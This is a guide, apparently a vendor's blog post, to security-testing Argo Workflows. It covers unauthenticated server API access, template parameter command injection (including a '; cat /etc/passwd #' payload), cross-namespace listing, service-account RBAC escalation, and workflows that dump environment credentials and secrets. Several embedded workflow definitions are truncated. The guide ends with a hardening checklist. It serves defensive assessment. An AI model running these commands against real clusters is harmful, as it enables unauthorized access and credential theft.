Argo Workflows Security Testing: Namespace Isolation Bypass, Template Injection, RBAC Escalation, and Artifact Repository Exposure

Argo Workflows is the most popular Kubernetes-native workflow engine, running in production at thousands of organizations for ML pipelines, data processing, and CI/CD. But its power comes with security complexity: the server can run in unauthenticated mode, workflow templates accept user-supplied parameters that flow into container commands, service accounts used by workflows often have excessive Kubernetes RBAC permissions, and artifact repositories store cloud credentials accessible to any workflow. This guide covers systematic Argo Workflows security assessment.

Table of Contents

  1. Server Authentication Mode Testing
  2. Workflow Template Injection
  3. Namespace Isolation Testing
  4. Service Account RBAC Privilege Escalation
  5. Artifact Repository Credential Exposure
  6. Workflow Secret Access Testing
  7. Node Selector and Toleration Bypass
  8. Argo Workflows Security Hardening

Server Authentication Mode Testing

# Argo Workflows server auth modes:
# - server: use server's service account (no user auth) — MOST DANGEROUS
# - client: use bearer token or kubeconfig passed by client
# - sso: SSO via Dex, OAuth2

# Check current auth mode
kubectl get configmap workflow-controller-configmap -n argo -o yaml | \
  grep -A 5 "ARGO_SERVER_AUTH_MODE\|authMode"

# Or via deployment args
kubectl get deploy argo-server -n argo -o json | python3 -c "
import json,sys
d = json.load(sys.stdin)
for c in d['spec']['template']['spec']['containers']:
    if 'argo-server' in c['name'] or 'server' in c['name']:
        print('Args:', c.get('args',[]))
        # Look for: --auth-mode=server (dangerous)
        # vs --auth-mode=client or --auth-mode=sso
"

# Test unauthenticated API access (auth-mode=server makes all API calls use server SA)
ARGO_URL="http://TARGET:2746"
curl -s "$ARGO_URL/api/v1/workflows/argo" | python3 -c "
import json,sys
try:
    data = json.load(sys.stdin)
    wfs = data.get('items',[])
    print(f'Workflows accessible without token: {len(wfs)}')
    for wf in wfs[:3]:
        meta = wf['metadata']
        print(f\"  {meta['namespace']}/{meta['name']} status: {wf['status'].get('phase','?')}\")
except: print('Auth required or error')
"

# Test workflow submission without auth
curl -s -X POST "$ARGO_URL/api/v1/workflows/argo" \
  -H "Content-Type: application/json" \
  -d '{
    "workflow": {
      "metadata": {"name": "security-test", "namespace": "argo"},
      "spec": {
        "entrypoint": "test",
        "templates": [{
          "name": "test",
          "container": {"image": "alpine", "command": ["sh", "-c", "id && env"]}
        }]
      }
    }
  }' | python3 -c "import json,sys; d=json.load(sys.stdin); print('Created:', d.get('metadata',{}).get('name','FAILED'))"

Workflow Template Injection

# Argo Workflows uses {{inputs.parameters.NAME}} syntax for parameter substitution
# User-controlled parameters that flow into container commands = command injection

# Vulnerable workflow template example:
# templates:
# - name: process-data
#   inputs:
#     parameters:
#     - name: filename
#   container:
#     command: [sh, -c]
#     args: ["process --input {{inputs.parameters.filename}}"]

# Test: inject shell metacharacters into filename parameter
# Payload: "; cat /etc/passwd #"
argo submit --serviceaccount workflow --watch - <

Namespace Isolation Testing

# Argo Workflows can manage workflows across namespaces
# Check if namespace isolation is enforced

# Check if argo-server can manage ALL namespaces
kubectl get clusterrolebinding | grep argo
kubectl get clusterrole argo-server -o yaml | \
  python3 -c "
import yaml,sys
role = yaml.safe_load(sys.stdin)
for rule in role.get('rules',[]):
    print(f\"Verbs: {rule.get('verbs','?')} Resources: {rule.get('resources','?')}\")
"

# Test cross-namespace workflow listing
ARGO_URL="http://TARGET:2746"
TOKEN="your_token_here"
# Try listing workflows in kube-system
curl -s "$ARGO_URL/api/v1/workflows/kube-system" \
  -H "Authorization: Bearer $TOKEN" | python3 -c "
import json,sys
try:
    data = json.load(sys.stdin)
    print(f'kube-system workflows: {len(data.get(\"items\",[]))}')
except: print('Denied or no workflows')
"

# Test if a workflow in namespace A can read secrets from namespace B
kubectl apply -f - <

Service Account RBAC Privilege Escalation

# Argo workflows run as a Kubernetes service account
# If that service account has broad RBAC permissions, workflow code can escalate

# Check workflow service account permissions
kubectl get rolebinding,clusterrolebinding \
  --all-namespaces -o json | python3 -c "
import json,sys
data = json.load(sys.stdin)
for binding in data['items']:
    subjects = binding.get('subjects',[])
    for subj in subjects:
        if subj.get('kind') == 'ServiceAccount' and 'workflow' in subj.get('name','').lower():
            meta = binding['metadata']
            role = binding.get('roleRef',{})
            print(f\"SA: {subj['namespace']}/{subj['name']}\")
            print(f\"  Binding: {meta['name']} → Role: {role.get('name','?')}\")
"

# Test: does the workflow service account allow creating pods (= container escape)?
kubectl auth can-i create pods \
  --as=system:serviceaccount:argo:workflow \
  --namespace=argo

# Test: can workflow SA read secrets (= credential theft)?
kubectl auth can-i get secrets \
  --as=system:serviceaccount:argo:workflow \
  --namespace=argo

# Exploit: submit a workflow that uses kubectl with its SA token
argo submit --watch - <&1 | head -20
        echo "=== Cluster roles ==="
        kubectl get clusterrolebinding 2>&1 | head -10
EOF

Artifact Repository Credential Exposure

# Argo stores workflow artifacts (logs, outputs) in S3/GCS/Azure Blob
# The credentials for this repository are accessible to all workflow pods

# Check artifact repository configuration
kubectl get configmap workflow-controller-configmap -n argo -o yaml | \
  grep -A 20 "artifactRepository"

# Common finding: S3 credentials stored as Kubernetes secret refs
# But workflow pods can read those secrets if SA has get:secrets permission

# Extract artifact repository credentials from workflow pod environment
argo submit --watch - </dev/null
EOF

# Check if workflow pods mount the artifact secret
kubectl get pods -n argo -l workflows.argoproj.io/workflow -o json | python3 -c "
import json,sys
pods = json.load(sys.stdin)['items']
for p in pods:
    for vol in p['spec'].get('volumes',[]):
        if 'artifact' in str(vol).lower() or 'secret' in str(vol).lower():
            print(f\"{p['metadata']['name']}: {vol}\")
"

Workflow Secret Access Testing

# Workflows often need access to secrets for credentials
# Test for over-broad secret access

# Check if workflow SA can list/get ALL secrets in namespace
kubectl auth can-i list secrets \
  --as=system:serviceaccount:argo:workflow -n argo

# Submit workflow that dumps all accessible secrets
argo submit --watch - <

Argo Workflows Security Hardening

Argo Workflows Security Hardening Checklist:
  • Set --auth-mode=sso or --auth-mode=client — never use server mode in production
  • Sanitize all workflow template parameters — never interpolate user input directly into shell commands
  • Use dedicated service accounts per workflow team with minimal RBAC permissions
  • Restrict workflow SA to: workflows resource only, no secrets get/list, no pod create
  • Enable namespace isolation: restrict argo-server to specific namespaces, not cluster-wide
  • Store artifact repository credentials in a dedicated secret; grant access to artifact SA only
  • Use Gatekeeper/Kyverno to restrict container images to approved registries in workflow pods
  • Enable audit logging for workflow submission and parameter values
  • Pin container images in workflow templates — never use floating tags like :latest
  • Restrict workflow submission to authenticated users via SSO groups
Security TestMethodRisk
Server auth-mode unauthenticated APIcurl /api/v1/workflows without tokenCritical
Template parameter command injectionInject shell metacharacters in parametersCritical
Workflow SA can create podskubectl auth can-i create pods as workflow SAHigh
Workflow SA can read all secretskubectl auth can-i list secrets as workflow SAHigh
Cross-namespace workflow listingRequest /api/v1/workflows/kube-systemHigh
Artifact repo credentials in pod envSubmit workflow that dumps env varsHigh
Node selector bypass for host accessSubmit workflow targeting control-plane nodesMedium

Automate Argo Workflows Security Testing

Ironimo tests Argo Workflows deployments for unauthenticated server access, template injection vectors, service account privilege scope, artifact credential exposure, and namespace isolation gaps — ensuring your ML and data pipeline infrastructure is properly secured.

Start free scan